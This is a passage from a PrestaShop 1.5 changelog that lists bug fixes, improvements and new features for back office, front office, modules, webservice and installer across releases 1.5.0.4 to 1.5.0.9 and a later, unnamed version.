cart rules in order to prevent sql error #PSTEST-1094 + [-] BO : Bug Fixed #PSFV-339 - Multishop logo + [-] BO : BugFix : #PSFV-689 : customer groups selection on category edition fixed + [-] BO : BugFix : #PSTEST-1054 : Employees and permission updated + [-] BO : BugFix : #PSTEST-1058 : Adding Save And Stay button to the customer group interface + [-] BO : BugFix : #PSTEST-1088 : Customer group creation : fix on the category reduction creation + [-] BO : BugFix #PSTEST-1137 Customers : Accounting export comment is now improved + [-] BO : BugFix : #PSTEST-1190 : email customer verification improved + [-] BO : fix attributes bulk deletion + [-] BO : Fix bad use of 'uninstanciated' variable product + [-] BO : fix broken delete specific price action + [-] BO : fix bug count empty translations + [-] BO : fix bug in links of sitemaps + [-] BO : fix bug #PSFV-700 - On IE8, the login.js' displayErrors() method fails + [-] BO : fix bug #PSFV-839 - Reset products features while editing products + [-] BO : fix bug #PSFV-860 - Can't edit combinations with an existing product + [-] BO : fix bug #PSTEST-1079 - product supplier page accordion is initialized too early if page loading is slow, resizing necessary + [-] BO : fix display bug when virtual file upload fails + [-] BO : Fixed bug #PSFV-282. Add back the currentIndex and token global value for the modules compatibility + [-] BO : fixed bug #PSFV-504 - Even if the invoices management is disabled, you can create an invoice + [-] BO : fixed bug #PSFV-727 - forgot password redirect + [-] BO : fixed bug #PSFV-738 - [1.4 compatibility] : some option list parameters not supported in 1.5 + [-] BO : fixed bug #PSFV-751 - Carrier - Rule of free shipping does not work + [-] BO : fixed bug #PSTEST-1144 - carrier image problem + [-] BO : fixed double in the product list of the cart rules when multi-shop is activated #PSTEST-1154 + [-] BO : fixed #PSFV-722 + [-] BO : fixed #PSFV-727 (issue #4) + [-] BO : fixed #PSFV-727 (issue #9 to #13) + [-] BO : fixed #PSFV-747 - mod_rewrite not detected + [-] BO : fixed #PSFV-802 : now mail subject are saved + [-] BO : fixed #PSFV-808 : added mail backoffice_order.html for de, it, and es language + [-] Bo : Fixed #PSTEST-1055 & #PSFV-768 : update call identifier + [-] BO : fixed #PSTEST-1134 + [-] BO : Fix error due to helper modification + [-] BO : Fixing missing translation on title attribute AdminModules #PSTEST-1201 + [-] BO : fix JS exception when advanced stock management is inactive + [-] BO : fix pack item deletion + [-] BO : fix product page suppliers + [-] BO : fix #PSCFI-4878 + [-] BO : fix #PSCFI-5408 + [-] BO : Fix #PSFV-549 : Now two customer with the same mail, isn't possible + [-] BO : Fix #PSFV-746 + [-] BO : fix #PSFV-826 + [-] BO : fix #PSFV-852 : url encoded incorrect when in the search there is specials character + [-] BO : fix #PSFV-856 (translation) + [-] BO : fix #PSFV-857 + [-] BO : fix #PSFV-866 : Add the missing hook for update a product + [-] BO : Fix #PSFV-868 : Unity price can be set + [-] BO : fix #PSFV-870 : translations modules + [-] BO : fix #PSTEST-1102 - change warning message at pack creation + [-] BO : fix #PSTEST-1117 - bad handling of UTF8 strings in templates + [-] BO : fix #PSTEST-1123 - Changing default product attribute is broken + [-] BO : fix #PSTEST-1128 - when saving a pack, a validation error causes pack data loss + [-] BO : fix #PSTEST-1169 broken processing of list filters + [-] BO : fix #PSTEST-1170 - broken suppliers edition in product page + [-] BO : fix #PSTEST-1172 - do not sort all products list by position + [-] BO : fix #PSTEST-1172 - do not sort all products list by position // missing file + [-] BO : fix #PSTEST-1175 - duplicate text in toolbar in AdminAttributesGroups + [-] BO : fix #PSTEST-1176 - Modules positions drag and drop - ajax process is broken, page JS too + [-] BO : Fix #PSTEST-1182 : Now the number of available products displaying + [-] BO : fix #PSTEST-1184 - bug with product combinations generator + [-] BO : Fix #PSTEST-1185 + [-] BO : fix #PSTEST-1186 - broken positioning of product images + [-] BO : fix #PSTEST-1213 - button style + [-] BO : Fix #PSTEST-1217 : fatal error when all carrier are free + [-] BO : Fix #PSTEST-1220 : now position update for attribute value is good && fix JavaScript error in admin-dnd.js + [-] BO : fix #PSTEST-697 - remove cancel button in category list + [-] BO : Improvement made #PSCFI-1387 - The hooks list is reorder by title and technical name is displayed + [-] BO : #PI-57 : Fix bug when we import pack of language in emails files + [-] BO : #PSCFI-5378 - Create voucher from the BO after a product return + [-] BO : #PSCFI-PSCFI-5323 - Refound displayed instead of Return on the order lines if the order is shipped + [-] BO : #PSFV-434 - Bad product total calculation (confusion with wt) + [-] BO : #PSFV-434 - Fix bugs with invoice icons not visible for orders canceled + [-] BO : #PSFV-666 : fix bug and adding improvements + [-] BO : #PSFV-686 - Fix import error output + [-] BO : #PSFV-702 - "Ranges are overlapping" after modifying the default ones + [-] BO : #PSFV-704 - refactoring of AdminFeaturesController and fix of broken bulk delete + [-] BO : #PSFV-717 - Attribut "selected" never added in inputs type select with multilang + [-] BO : #PSFV-748 : fix bug email order confirmation + [-] BO : #PSFV-750 : add a comment criterion by default + [-] BO : #PSFV-754 - Token repeted twice on a link because of a missing urlencode to a "back" attribute + [-] BO : #PSFV-769 - Hook::getHookModuleExecList() don't check the id hook exists + [-] BO : #PSFV-775 - Fix bug with ajax form reload + [-] BO : #PSFV-775 - Fix bug with for ajax reload + [-] BO : #PSFV-776 - Fix Bug with order editing on the back office + [-] BO : #PSFV-797 - Fix bug with order editing and customized products + [-] BO : #PSFV-797 - Fix bug with order invoice pdf and customized products + [-] BO : #PSFV-797 - Fix bug with order invoice pdf and customized products + [-] BO : #PSFV-812 : Fix bug price in a specials block + [-] BO : #PSFV-825 : Fix translations + [-] BO : #PSFV-827 : Fix translations + [-] BO : #PSFV-829 : Fix translations bugs + [-] BO : #PSFV-837 - Blocklayered, lang fields dont works on 1.5 + [-] BO : #PSFV-855 : Fix bug in BlockCMS AND set submit_action to NULL + [-] BO : #PSFV-874 - Carriers asked with guest checkout and virtual cart + [-] BO : #PSTEST-1032 : Fix bug + [-] BO : #PSTEST-1033 : Fix bug Toolbar for coordonate and stores + [-] BO : #PSTEST-1046 : Fix translation + [-] BO : #PSTEST-1046 : Fix translation + [-] BO : #PSTEST-1060 : fix bug + [-] BO : #PSTEST-1061 : add button save and stay in AdminScenesController + [-] BO : #PSTEST-1081 : fix bug in AdminProductController when we add a new language + [-] BO : #PSTEST-1097 : Fix bug override email in theme + [-] BO : #PSTEST-1105 : fix bug mail virtual product + [-] BO : #PSTEST-1107 - switch between different product types in BO product page is broken + [-] BO : #PSTEST-1112 - translation + [-] BO : #PSTEST-1129 : fix bug : Error when duplicate a product + [-] BO : #PSTEST-1130 : fix bug object mail virtual product + [-] BO : #PSTEST-1131 : Fix bug rewrite URL for contact form + [-] BO : #PSTEST-1136 : Fix duplicate content + [-] BO : #PSTEST-1204 : fix translations + [-] BO : #PSTEST-1207 : Fix translations + [-] BO : PSTEST-1216 : Fix translations lost + [-] BO : #PSTEST-543 - Tax Rules Bulk delete doesn't work + [-] BO : #PSTEST-853 - Change field description + [-] BO : #PSTEST-927 : Fix bug + [-] BO : #PSTEST-977 - Cart rule, hide unavailable options + [-] BO : remove sprintf() which are unnecessary + [-] BO : remove sprintf() which are unnecessary + + [-] Classes : fix bug #PSTEST-1191 - wrong carrier positions + [-] Classes : PSTEST-1104 - mail for product download is not sent when command state is updated + + [-] MO : fix bug #PSFV-649 - Escapes in Smarty l (L) function are not escaped in output + [-] MO : fix bug #PSTEST-1178 - block CMS position drag and drop was not implemented + [-] MO : Fixed bug #PSTEST-663. 'template' was missing. + [-] MO : #PNM-32 - Bad regex on blocklayered + [-] MO : #PNM-33 - Disable cache of ajax queries on the blocklayered + [-] MO : #PNM-42 - Fix bug with list of value filter on the blocklayered + [-] MO : #PNM-73 : Mail alerts redirect url on logout corrected + [-] MO : #PNM-73 : Mail alerts redirect url on logout corrected + [-] MO : #PNM-88 : Subject now translated + [-] MO : #PSFV-620 : Added cast and bug fix for multi shops categories + [-] MO : #PSFV-636 - Remove warnings lile "Warning: Function displayHeader() is deprecated" with module blockwishlist + [-] MO : #PSFV-636 - Remove warnings lile "Warning: Function displayHeader() is deprecated" with module blockwishlist + [-] MO : #PSFV-681 - blocksharefb use deprecated Hook::get() + [-] MO : #PSFV-716 - Fix bug with "home link" on module blocktopmenu + [-] MO : #PSFV-717 - Bankwire bad form action value + [-] MO : #PSFV-717 - Carrier compare: Fix some problems with the module displaying + [-] MO : #PSFV-717 - Fix some little bugs with blocktopmenu + Normalize the code + [-] MO : #PSTEST-1181 - blockcurrencies bug with catalog mode + [-] MO : #PSTEST-1193 - Fix bad SQL query syntax + [-] MO : sendtoafriend : fix #PSFV-764 + [-] MO : sendtoafriend : #PSFV-764 : Fix smalls bugs && normalize + + [-] PDF : Bug Fixed #PSFV-800 - Invoice free text is not displayed + + [-] TR : fix bug #PSTEST-1039 - translation + + [-] LO : Bug Fixed #PSCFI-4275 - SK Unit types + + +#################################### +# v1.5.0.9 - 14192 (2012-03-15) # +#################################### + + Improved/changed features: + + [*] FO : Add mobile detection and mobile theme dispatcher + + [*] BO : #PSFV-481 - Refactor HelperList position management + + [*] Core : update to 3.1.8 + + [*] MO : updated controllers for mobile theme + [*] MO : updated controllers for mobile theme + + Fixed bugs: + + [-] FO : Bugfix : Assigning subcategories to the template + [-] FO : BugFix : #PSFV-629 : random special product display only special products + [-] FO : customer discounts page fixed with cart rules + [-] FO : #PSFV-604 - Fix bug with undefined address on the cart (when the address is removed) + [-] FO : #PSFV-656 - Fix bug with number of product per page selector + [-] FO : #PSTEST-969 : BugFix Store icon in GMap + [-] FO : #PSTEST-975 - Fix bugs with promo page + [-] FO : #PSTEST-981 - Minimal quantity not setted correctly on combibination + [-] FO : #PSTEST-990 - Fix bug with bad ajax return on adding product to the cart with a new cart reduction applyed + [-] FO : #PSTEST-993 - price validation do not allow prixe with 10 or more decimals + + [-] BO : Add french accounting translation + [-] BO : BugFix : #PSFV-1020 : category reduction can be deleted now + [-] BO : BugFix : #PSFV-648 : preferences tab spelling error : egal has to be replaced by equal + [-] BO : BugFix : #PSFV-664 : Category import handles multishop now + [-] BO : BugFix : #PSTEST-1004 : create value for an attribute fix (error js, undefined variable) + [-] BO : BugFix : #PSTEST-1005 : ajax call cache fix in attributes and values + [-] BO : Bug fix #PSTEST-1014 #PSTEST-966 - Wrong call of smarty translation function + [-] BO : Bug fix #PSTEST-1014 - Wrong call of smarty translation function + [-] BO : Bug fix #PSTEST-1015 - Wrong call of smarty translation function + [-] BO : BugFix : #PSTEST-1020 : category reduction are now deletable + [-] BO : BugFix : #PSTEST-943 : carrier position handled on carrier creation + [-] BO : BugFix : #PSTEST-991 : ajax search with category treeview + [-] BO : Configuration link does not appear if configuration is not available + fix on shop importer variable + [-] BO : export pack of language : add override of PDF file lang + [-] BO : fix bug #PSFV-529 - AdminGeolocalisation : isCleanHtml control on checkbox + [-] BO : fix bug #PSTEST-1002 - redirection after using attribute generator + [-] BO : fix bug #PSTEST-1003 - Saving product attached documents redirect to informations tab + [-] BO : fix bug #PSTEST-988 - Attribute values wrong toolbar title + [-] BO : fixed #PSTEST-939 - now you can't add tow country with the same isocode + [-] BO : Fixing a bug on config module file generation + [-] BO : Fix on module config file generation (simplexml can't load file when starts with blank space) + [-] BO : Mails replace space by   in all files + [-] BO : Make a lot of changement on the Accounting (accouting plan / configuration / customer) + [-] BO : #PSFV-518 - On admin module controllers, autoload_rte flag for textarea fields doesn't work if lang flag is on "false" + [-] BO : #PSFV-587 - message about order and gift message does not display in BO when order is completed + [-] BO : #PSFV-587 - product additional shipping cost not included in order shipping summary + [-] BO : #PSFV-587 - product image cover does not change on product page + [-] BO : #PSFV-595 - Can't delete CMS Category. + [-] BO : #PSFV-608 - "Access denied" message in BO when login as Logistician + [-] BO : #PSFV-620 : BugFix blank labels between languages. + [-] BO : #PSFV-645 - Fields id_last_customer, id_last_customer_message and id_last_order of table ps_employee table must be int(10) and not tinyint. + [-] BO : #PSFV-646 - Fix problem with button save & preview + [-] BO : #PSFV-652 - Fix bug with price and decimal (TE/TI conversion) + [-] BO : #PSFV-657 : BugFix Product name encoding while editing cart rule + [-] BO : #PSFV-658 - Fix bug with a bad var checking + [-] BO : #PSFV-659 - TinyMCE editor are now resizable + [-] BO : #PSFV-662 - Fix bug with customer total ordered (no cents) + [-] BO : #PSTEST-795 : fix bug + [-] BO : #PSTEST-922 : fix bug UTF-8 + [-] BO : #PSTEST-925 : BugFix - Bad redirect when creating new store / shop with submit error + [-] BO : #PSTEST-931 : fix bug in AdminAccess + [-] BO : #PSTEST-941 - css fix + [-] BO : #PSTEST-971 emails smtp configuration + [-] BO : #PSTEST-989 - Remove button "Save and add" on form add/edit attribute group + [-] BO : #PSTEST-989 - Remove button "Save and add" on form add/edit feature + [-] BO : #PSTEST-996 - Fix bug with multishipping and wrapping cost + [-] BO : Small fix on preactivation + [-] BO : Update Accounting + [-] BO : Update accounting for export and configuration + [-] BO : Update Accounting geolocalization for France + + [-] Classes : fix return value when updating product attachment + [-] Classes : #PSCFI-4931 : BugFix Better encoding for accentuated chars in mails headers + [-] Classes : #PSFV-634 : BugFix Currency was not set for loyalty discounts + + [-] Core : If a specific price is applied to a combination the combination impact is no longer applied + + [-] MO : BugFix : #PSFV-623 : order by category is now multishop + [-] MO : #PSFV-605 - Fix problem with gsitemap and multishop + [-] MO : #PSFV-605 - Fix problem with uri render + [-] MO : #PSFV-605 - Fix problem with uri render + [-] MO : #PSFV-622 : BugFix on products comments module + [-] MO : #PSFV-640 - Fatal error in HomeSlider module + [-] MO : #PSFV-640 - Fix bug with image upload + [-] MO : #PSFV-655 - Fix module stats products, with bad hard coded id + + [-] TR : fix bug #PSTEST-987 + [-] TR : #PSFV-624 : Changed 'Eire' to 'Ireland' in french country lang + + +#################################### +# v1.5.0.8 - 13860 (2012-03-05) # +#################################### + + Added Features: + + [+] BO : added a new option for the products : do they appear in the catalog, in the search, both or neither + [+] BO : BO width can now be fixed or flexible (you can set it up in your employee account) + [+] BO : Preactivation Premium + [+] BO : Preactivation Premium - Part 2 + + [+] CORE : Accounting, Add a begin of the Accounting plan detail + [+] CORE : Module properly upgraded with message even if no file upgrade file exist, add 'upgrade' button + [+] Core : products and carriers tax rules are associated to shop + + Improved/changed features: + + [*] BO : Adding filter for modules bought on Addons + [*] BO : Bug fix #PSTEST-907 - Ergonomy improvement + [*] BO : cms meta keywords now use tagify + [*] BO : Filters are highlighted when used in AdminModules + [*] BO : improve duplicate shop form + [*] BO : now you can't activate friendly URL when mod_rewrite is not active + [*] BO : reorganization of admin tabs + + [*] Classes : #PSTEST-951 - controller filename in module can now use any case and use or not "Controller" suffix + + [*] MO : updated module + [*] MO : updated module blockcurrencies for mobile theme + [*] MO : updated module blockcurrencies for mobile theme + [*] MO : updated module blocklanguages for mobile theme + [*] MO : updated module blocknewsletter and module blockcms for mobile theme + [*] MO : updated module blocksearch for mobile theme + [*] MO : updated module blockwishlist for mobile theme + [*] MO : updated module favoriteproducts for mobile theme + [*] MO : updated module homeslider for mobile theme + [*] MO : updated modules blockcms and blocknewsletter for mobile theme + [*] MO : updated modules for mobile theme + [*] MO : updated modules for mobile theme + [*] MO : updated modules for mobile theme + [*] MO : updated modules for mobile theme + [*] MO : updated modules for mobile theme + + Fixed bugs: + + [-] Installer : BugFix : #PSTEST-938 : spelling mistake fixed + + [-] FO : automatic refresh of the cart when a cart rule is added + [-] FO : cart rule fix (product restrictions mixing attributes and other criteria) + [-] FO : fix bug #PSFV-540 - JS error with homeslider and IE < 9 + [-] FO : #PSFV-553 - Fix bugs with pager and ordering with some controllers + [-] FO : #PSFV-569 - Fix bug with instant search + [-] FO : #PSTEST-869 - Billing address not refreshed on multi-shipping + + [-] BO : AdminModule shows when connected to Addons and have a logout button + [-] BO : BugFix - Alert message for new CMS pages + errors + [-] BO : Bug Fixed #PSTEST-695 - Are ranges defined Tax Excl or Incl? => Incl + [-] BO : Bug Fixed #PSTEST-822 - You can now set datetime to configure specific price boundaries + [-] BO : Bug fix #PSFV-437 - "Others" category module is now usable :) + [-] BO : BugFix : #PSFV-556 : Category problem - new category not properly assigned to root + [-] BO : BugFix : #PSFV-561 & #PSFV-574 : Category import is now working fine + [-] BO : BugFix : #PSFV-585 : New Customer Groups can't see the root categories + [-] BO : Bugfix : #PSFV-619 : removing the ability to add a new root category if you are not in multishop + [-] BO : Bug fix #PSTEST-278 - Confirmation message appear on each module when we install a selection of modules + [-] BO : BugFix : #PSTEST-773 : category restriction with shop context + [-] BO : BugFix : #PSTEST-788 : Treeview is now handled with shop context in admin category controller + [-] BO : BugFix : #PSTEST-934 : Employee creation : language selected is from context now + [-] BO : BugFix : #PSTEST-952 : Tax rules group sorted by name ASC + [-] BO : fix bug #PSFV-534 - Button toolbar disappear after save if errors + [-] BO : fix bug #PSTEST-841 - confirmation popup for product attribute deletion not working + [-] BO : fix bug #PSTEST-855 - some translations are not parsed + [-] BO : fix bug #PSTEST-898 - translations + [-] BO : fix bug #PSTEST-912 - broken image + [-] BO : fix bug #PSTEST-913 - drag and drop position change for tabs broken in AdminTabsController + [-] BO : fix bug #PSTEST-918 - missing field suffix + [-] BO : fix bug #PSTEST-919 - missing units in text + [-] BO : fix bug #PSTEST-932 - toolbar / save button issue + [-] BO : fix bug where drag and drop on tabs sub-lists is broken + [-] BO : fixed bug in contact message with html + [-] BO : fixed bug #PSFV-557 - Employees: View Customer Service message + [-] BO : fixed bug #PSFV-616 - SVN #13826 rewriting fatal error + [-] BO : Fixed bug #PSTEST-937. Add new attributes to the forbidden list and fix the layout during the creation of a new country + [-] BO : fixed Duplicate entry for key 'full_shop_url' when added new shop url + [-] BO : fixed #PSTEST-944 & #PSTEST-945 range bugs + [-] BO : fix image option form not saving + [-] BO : #PSCFI-4873 : Updated of method for translated modules. Now, you can translate only installed modules + [-] BO : #PSFV-411 : BugFix - Check module id in checkPaymentCurrencies() + [-] BO : #PSFV-414 : BugFix - Customers company validation changed to generic name + [-] BO : #PSFV-425 - Add german translation for the installer + [-] BO : #PSFV-494 : BugFix - Block top menu now display CMS categories + [-] BO : #PSFV-566 : BugFix - Add new CMS block + [-] BO : #PSFV-586 - Fix bug with importeur and img dir creation + [-] BO : #PSFV-597 : Hide quick access menu if no content + [-] BO : #PSFV-600 - Fix bug with Controller::addJqueryUI + [-] BO : #PSFV-610 - AdminTracking lists don't take care of PS_STOCK_MANAGEMENT value + [-] BO : #PSTEST-400 - Fix bug with button "Save and stay" from AdminAttributesGroups + [-] BO : #PSTEST-777 : Reset form when action is : save and stay + [-] BO : #PSTEST-778 : Bug in textures for attributes + [-] BO : #PSTEST-795 : Display date from and date to filters in list + [-] BO : #PSTEST-852 - Rename button "Save and stay" to "Save and add" on admin feature form + [-] BO : #PSTEST-858 - Fix bug with undefined var + [-] BO : #PSTEST-883 - On changing pagination item number, send the form + [-] BO : #PSTEST-899 - On the dashboard, change legend line height of "quick links" button + [-] BO : #PSTEST-914 - On admin contact preselect the default country + [-] BO : #PSTEST-923 - Add field description + [-] BO : #PSTEST-924 - Fix bug with \n and some translations + + [-] MO : BugFix : max level-depth is now set to 4 (instead of 3 before, as the new root category has come) + + [-] TR : BugFix : #PSTEST-846 : rename add root category button + [-] TR : fix bug #PSTEST-893 + + +#################################### +# v1.5.0.7 - 13543 (2012-02-22) # +#################################### + + Added Features: + + [+] classes : New method ->attachProduct($id_product) + + Improved/changed features: + + [*] FO : the free product is now removed from the cart along with the cart rule (where applicable) + + [*] BO : add link to Customer messages in tab order #PSFV-514 + [*] BO : #PSTEST-784 - selected attribute is now visible + [*] BO : you can now choose the combination of the free product of a cart rule + + [*] Classes : table prefix is no longer required in Db::getInstance()->delete() method + + Fixed bugs: + + [-] Project : #PSCFI-4737 - Add no-cache to header when there are 301 to avoid caching + + [-] FO : ajax cart now display cart rules correctly #PSTEST-724 + [-] FO : #PSCFI-4733 - Pagination creates pages that should not exist (and duplicate content) + [-] FO : #PSCFI-4762 - When cart contains virtuals products and physicals products, use only physicals to calculate shipping cost + [-] FO : #PSCFI-4892 : BugFix CMS terms and conditions breadcrumb + [-] FO : #PSFV-522 - Bug in AddressController with Address Alias + [-] FO : #PSTEST-768 - Show the category image when there are no descriptions + [-] FO : #PSTEST-771 - Add description to supplier's product list + [-] FO : #PSTEST-772 - Add description to manufacturer's product list + [-] FO : #PSTEST-803 - Change mail links + [-] FO : #PSTEST-803 - Change mail links + + [-] BO : AdminModules refresh native modules xml list if it's empty + [-] BO : Bug Fixed #PSTEST-543 - Unable to bulk delete a tax rule + [-] BO : Bug Fixed #PSTEST-546 - Tax Rules Creation + [-] BO : Bug Fixed #PSTESTS-672 An error has occured during currency creation + [-] BO : BugFix : #PSTEST-807 : stay on the form when an error occured + [-] BO : Customer Service options/sync mailbox not working - #PSFV-539 + [-] BO : Customer Service options/sync mailbox not working - #PSFV-539 + [-] BO : fix bug #PSFV-322 - Action name in custom controllers is not translated + [-] BO : fix bug #PSFV-535 - AdminAddress : Redirection if errors on add form + [-] BO : fix bug #PSTEST-786 - virtual products block does not show + [-] BO : fixed bug #PSFV-495 - Back-office homepage is not totally translated + [-] BO : fixed bug #PSFV-501 - Unable to edit a customer in AdminGroups controller + [-] BO : fixed bug #PSFV-512 - Delivery slip PDFs have the "ITEMS MARKED AS RETURNED" text, but they shouldn't + [-] BO : #PSFV-492 : BugFix CMS pages & categories + [-] BO : #PSFV-503 - Fix bug with image generation + [-] BO : #PSTEST-759 - Images named advertising could be blocked by adblock + [-] BO : #PSTEST-769 - The default country must be pre-selected on address list + [-] BO : #PSTEST-775 - Change button cancel, for back to list on the attribute and feature form + [-] BO : #PSTEST-776 - Fix bug with attribute order change + [-] BO : #PSTEST-792 : Translation of scenes + [-] BO : small fixes on AdminCartRules #PSFV-506 + [-] BO : the default country of shop is correctly selected by default in forms with country field #PSTEST-493 + + [-] MO : #PSFV-531 - Fix bug on the module Loyalty with pagination links + [-] MO : #PSFV-532 - Fix bug on the module Loyalty - "points" are not upgrading on changing combination + + [-] WS : Add tax for orders inside order_details api entity + [-] WS : Fix bug from 1.4 Groups for entity customers API + [-] WS : Fix bug from 1.4 Groups for entity customers API + [-] WS : Fixed PSFV-383 + + +#################################### +# v1.5.0.6 - 13367 (2012-02-15) # +#################################### + + Added Features: + + [+] BO : New hooks added (helpers + order history) + + Improved/changed features: + + [*] MO : BlockCMS module 1.5 compliant + translations + + Fixed bugs: + + [-] Installer : set_time_limit is set to infinite then set to 300 seconds... Second one changed. + + [-] FO : If a product is given for free in a cart rule and is already in the cart, the price is subtracted #PSTEST-715 + [-] FO : #PSTEST-722 : Fix bug + [-] FO : #PSTEST-722 : Fix bug + [-] FO : #PSTEST-733 - Fix bug with redirection after address creation on multishipping mode + [-] FO : #PSTEST-742 - Bad ajax return on authentification with unknow email address + + [-] BO : BugFix : #PSFV-497 : Root category in AdminTracking removed + [-] BO : BugFix : #PSTEST-668 : Shop association for Supplier is now for a shop and not a group shop anymore + [-] BO : BugFix : #PSTEST-750 : upgrade sql updated (position field added to the category_shop table) + [-] BO : fix bug #PSFV-421 - bug with redirection after login + [-] BO : Fix Bug #PSTEST-694 - Replace save button by a "return to dashboard" button + [-] BO : fix bug #PSTEST-719 - wrong redirection on product page + [-] BO : fixed small image duplication in carrier listing + [-] BO : fix #PSTEST-703 - missing datepicker + [-] BO : fix #PSTEST-718 combinations images not saved + [-] BO : fix PSTEST-753 - Warning Trying to get property of non-object in view.tpl sur la page commande + [-] BO : fix Save&Stay not working on combination page + [-] BO : #PSCFI-4696 - Blocklayered : option "Hide filter values with no product is matching" does'nt work + [-] BO : #PSCFI-4783 : Corrected some errors and added a field in order fox an export bug of csv + [-] BO : PSFV-435 : revert changes to tinyMCE formatting tools + [-] BO : #PSFV-498 - On editing attribute (group) the attribute is dupplicated + [-] BO : #PSTEST-691 - form.tpl must be placed on the directory helpers/form + [-] BO : #PSTEST-700 fix attributes value display + [-] BO : #PSTEST-705 fix scene image upload + [-] BO : #PSTEST-711 - Don't follow links for all action button from the tab catalog rule + + [-] Classes : #PSTEST-275 #PSFV-304 - Method Module::getPosition() was missing + [-] Classes : #PSTEST-717 - Fix an infinite loop + + [-] MO : #PSFV-468 - In layered navigation, when you filter on some criteria, the "see the product" for resulting products targets to the regular product URL without filters + [-] MO : theme installator module does not erase anymore already existing modules #PSFV-476 + + +#################################### +# v1.5.0.5 - 13181 (2012-02-09) # +#################################### + + Added Features: + + [+] BO : Dynamics hooks in helper form + + Improved/changed features: + + [*] BO : #PSFV-474 : added folders override/ for translation + [*] BO : #PSTEST-381 - Checkbox "Send available products first" must not be present if there is only product "out of stock", or to check states of virtual products + [*] BO : #PSTEST-624 - On creating group, automaticaly assign the new groups to all carriers + [*] BO : reduction on a selection of products finalized + [*] BO : shop restriction added to the cart rules + + [*] WS : Add entity specific_price_rules + [*] WS : Add entity specific_prices + [*] WS : Add entity tax_rule_groups + [*] WS : Add Tax rules entity + [*] WS : Delete sqlId not used + [*] WS : Fix entity configurations + [*] WS : Fix entity translated_configurations + [*] WS : Fix ObjectModel issue + [*] WS : Fix, Webservice use definitions property instead of fieldsValidate, fieldsRequired, etc.. + [*] WS : Fix, Webservice use definitions property instead of fieldsValidate, fieldsRequired, etc.. + [*] WS : From 1.4 (PHP as CGI management) + + Fixed bugs: + + [-] FO : BugFix : PSTEST-660 : adding "My address" as a default alias name + [-] FO : Fixed JS & translations for products specifics prices (quantity discount) + [-] FO : total to pay on check and bankwire confirmation fixed PSTEST-661 + + [-] BO : BugFix : #PSFV-462 : category tree view displayed according to he shop context + [-] BO : cart rule with attributes filter and reduction on the selection of products fixed + [-] BO : fixed bug #PSTEST-640 - fixed bug on two float comparison + [-] BO : fix tinyMCE CSS for list display + [-] BO : Minor changes in BO translations (CSV import) + [-] BO : #PSCFI-4790 : deleted "fr/" directory + [-] BO : #PSTEST-400 - Fix bug with attribute value and "save and stay" (attribute type) + [-] BO : #PSTEST-618 - Carriers price was not good on order creation + [-] BO : #PSTEST-627 - Fix bug with bad order by + [-] BO : #PSTEST-628 - Fix bug with bad order by + [-] BO : #PSTEST-630 - Fix bug with bad order way + [-] BO : #PSTEST-637 - Removing a product from ajax-cart don't refresh the cart summary + [-] BO : #PSTEST-659 - On creating group, table is not prefixed because of a bad parameter to the method DB::insert + [-] BO : #PSTEST-661 - Fix bug with non-assigned context + [-] BO : #PSTEST-667 - Fix bug with favicon and stores icon and multishop + [-] BO : #PSTEST-667 - Fix bug with logo and multishop + [-] BO : #PSTEST-678 - Fix translations problems with helpers templates + [-] BO : #PSTEST-680 - Fix translations problems with helpers templates + [-] BO : #PSTEST-686 - Add Warnings to the admin theme page + [-] BO : Removed unused JS + [-] BO : wrong error message was displayed on cart rules deletion PSTEST-644 + + [-] MO : Google Sitemap : Duplicate url on combination + undefined $link + + [-] WS : Fix bug on translated_configurations entity + [-] WS : Fix xlink + + [-] PDF : Missing translations + + +#################################### +# v1.5.0.4 - 12938 (2012-02-02) # +#################################### + + Added Features: + + [+] BO : Adding e-mailing module category + [+] BO : Adding warnings when merchant does not enable the configurations needed to use modules API + [+] BO : AdminModules Preferences + + Improved/changed features: + + [*] Project : Add possibility to use admin controllers in modules + + [*] Installer : thanks to the old installer/upgrader which is now removed + [*] Installer : Upgrade script output now have also the version number which the query belongs to + [*] Installer : version number is defined in install_version.php (instead of init.php) + + [*] FO : Better gesture of product discounts. + [*] FO : #PSTEST-403 - Improving the render of the shipping option form + + [*] BO : Added category tree to product list + [*] BO : Adding category management with multishop + [*] BO : Adding hook on AdminProducts + [*] BO : add Loading information in back office + [*] BO : A new method in Employee class has been written "getEmployeesByProfile". it returns an array of employees who has the given profile. + [*] BO : categories multishop improved + [*] BO : Each module hooked on displayAdminProductsExtra add a Product Tab + [*] BO : HelpAccess helper + [*] BO : HelperForm now handles input type=select with collection + [*] BO : new dimension added to the product filter in the cart rules + [*] BO : product page - added all tabs to preloading queue + [*] BO : #PSTEST-201 - add category creation button on product page + [*] BO : you can set positions to categories using multishop + + [*] Classes : Db::autoExecute() call are now replaced by Db::insert() or Db::update() + [*] Classes : fix bug #PSFV-162 - Remove unused variables + [*] Classes : images.inc.php functions are now all deprecated, use the new class ImageManager instead + [*] classes : new constant Product::PTYPE_SIMPLE /PTYPE_PACK/PTYPE_VIRTUAL + [*] classes : new module architecture + + [*] TR : #PSTEST-553 : Replaced can't with cannot + + [*] LO : 1.5 Localization Pack + [*] LO : Colombia states + [*] LO : Update tax rate 2012 + + Fixed bugs: + + [-] PROJECT : Adding general hook on ObjectModel and AdminController + [-] Project : fixed rare bug in Tools::displayPrice that occur when the currency is not valid + + [-] Installer : Currency not installed when offline + [-] Installer : Engine and charset were missing for some tables + [-] Installer : no more sql or php error when upgrade. ( @todo update_feature_detachable_cache ) + + [-] FO : Bug Fixed #PSFV-315 - Incorrect products prices in order history + [-] FO : BugFix : #PSTEST-190 : adding a link to create an address in the "my-account" page, if a customer hasn't filled any addresses + [-] FO : fixed an error of assign variable with smarty + [-] FO : fixed bug while updating customer personal information, the customer couldn't deselect the newsletter checkbox or the optin checkbox + [-] FO : Fixed #PSCFI-4080 - short descriptions in product-list.tpl are now correctly displayed + [-] FO : fix #PSFV-348 for ce http page to remain http + [-] FO : free gift fixed + [-] FO : #PSFV-227 - Fixed a problem with close div tags never opened + [-] FO : #PSFV-269 - Fixed bug with displayed price and multishipping on the order history + [-] FO : #PSFV-272 - Add translation + try to not increase global qty of product on choosing "Ship to multiple addresses" + [-] FO : #PSTEST-171 - Set a designation shipping method with multiple carriers (carrier1 - carrier2, ...) + [-] FO : #PSTEST-223 - Fixed css problem + [-] FO : #PSTEST-400 - Fixed problem with registering attribute value + [-] FO : #PSTEST-407 - Fixed problem with groups and carrier edition + [-] FO : #PSTEST-437 - Fixed problem with refreshing carriers options + [-] FO : uncombinable cart rules are not combinable anymore + + [-] BO : Accounting, fixed bug #PSTEST-508. Translation + [-] BO : added a "$_POST" + [-] BO : added the "mailMethod" variable + [-] 